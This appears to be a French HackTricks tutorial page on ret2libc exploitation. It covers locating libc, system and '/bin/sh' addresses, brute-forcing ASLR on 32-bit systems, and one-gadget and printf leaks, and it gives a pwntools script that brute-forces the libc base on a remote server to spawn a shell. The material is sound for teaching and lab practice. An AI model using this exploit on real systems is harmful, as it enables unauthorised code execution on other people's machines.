Ret2lib

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

L’essence de Ret2Libc est de rediriger le flux d’exécution d’un programme vulnérable vers une fonction située dans une bibliothèque partagée (par ex., system, execve, strcpy) au lieu d’exécuter du shellcode fourni par l’attaquant sur la stack. L’attaquant construit un payload qui modifie l’adresse de retour sur la stack pour la faire pointer vers la fonction désirée de la bibliothèque, tout en veillant à ce que les arguments nécessaires soient correctement placés selon la convention d’appel.

Étapes (simplifiées)

  • Obtenir l’adresse de la fonction à appeler (e.g. system) et la commande à exécuter (e.g. /bin/sh)
  • Générer une ROP chain pour passer le premier argument pointant vers la chaîne de commande et rediriger le flux d’exécution vers la fonction

Trouver les adresses

  • En supposant que la libc utilisée est celle de la machine actuelle, vous pouvez trouver où elle sera chargée en mémoire avec:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Si vous voulez vérifier si l’ASLR modifie l’adresse de libc, vous pouvez faire :

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • En connaissant la libc utilisée, il est aussi possible de trouver l’offset vers la fonction system avec :
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • En connaissant la libc utilisée, il est également possible de trouver l’offset vers la chaîne /bin/sh avec :
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Utilisation de gdb-peda / GEF

En connaissant la libc utilisée, il est également possible d’utiliser Peda ou GEF pour obtenir l’adresse de la fonction system, de la fonction exit et de la chaîne /bin/sh :

p system
p exit
find "/bin/sh"

Utilisation de /proc/<PID>/maps

Si le processus crée des processus enfants à chaque fois que vous interagissez avec lui (network server) essayez de lire ce fichier (vous aurez probablement besoin des droits root).

Vous pouvez y trouver exactement où la libc est chargée dans le processus et où elle sera chargée pour chaque processus enfant.

Dans ce cas, elle est chargée à 0xb75dc000 (Ceci sera l’adresse de base de libc)

libc inconnue

Il se peut que vous ne connaissiez pas la libc que le binaire charge (car elle peut se trouver sur un serveur auquel vous n’avez pas accès). Dans ce cas, vous pouvez exploiter la vulnérabilité pour leak des adresses et trouver quelle libc est utilisée :

Leaking libc address with ROP

Et vous pouvez trouver un pwntools template pour cela dans :

Leaking libc - template

Identifier la libc avec 2 offsets

Consultez la page https://libc.blukat.me/ et utilisez une paire d’adresses de fonctions à l’intérieur de la libc pour découvrir la version utilisée.

Contourner l’ASLR sur systèmes 32 bits

Ces attaques par force brute sont uniquement utiles pour les systèmes 32 bits.

  • Si l’exploit est local, vous pouvez essayer de brute-forcer l’adresse de base de la libc (utile pour les systèmes 32 bits) :
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Si vous attaquez un serveur distant, vous pouvez essayer de brute-force l’adresse de la fonction libc usleep, en passant comme argument 10 (par exemple). Si à un moment le serveur met 10s de plus à répondre, vous avez trouvé l’adresse de cette fonction.

One Gadget

Exécuter un shell en sautant simplement vers une adresse spécifique dans libc :

One Gadget

x86 Ret2lib Exemple de code

Dans cet exemple, l’ASLR brute-force est intégré dans le code et le binaire vulnérable est situé sur un serveur distant :

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Exemple de code

Voir l’exemple dans :

ROP & JOP

ARM64 Ret2lib Exemple

Dans le cas d’ARM64, l’instruction ret saute vers l’endroit pointé par x30 et non vers celui pointé par le registre de pile. Donc c’est un peu plus compliqué.

De plus, sur ARM64 une instruction fait ce qu’elle fait (il n’est pas possible de sauter au milieu d’une instruction et la transformer en une nouvelle).

Voir l’exemple dans :

Ret2lib + Printf leak - arm64

Ret-into-printf (ou puts)

Cela permet de leak des informations depuis le processus en appelant printf/puts avec certaines données spécifiques placées comme argument. Par exemple, placer l’adresse de puts dans la GOT dans un appel à puts va leak l’adresse de puts en mémoire.

Ret2printf

Cela signifie essentiellement abuser d’un Ret2lib pour le transformer en une printf format strings vulnerability en utilisant le ret2lib pour appeler printf avec les valeurs pour l’exploiter (ça semble inutile mais c’est possible) :

Format Strings

Autres exemples & références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks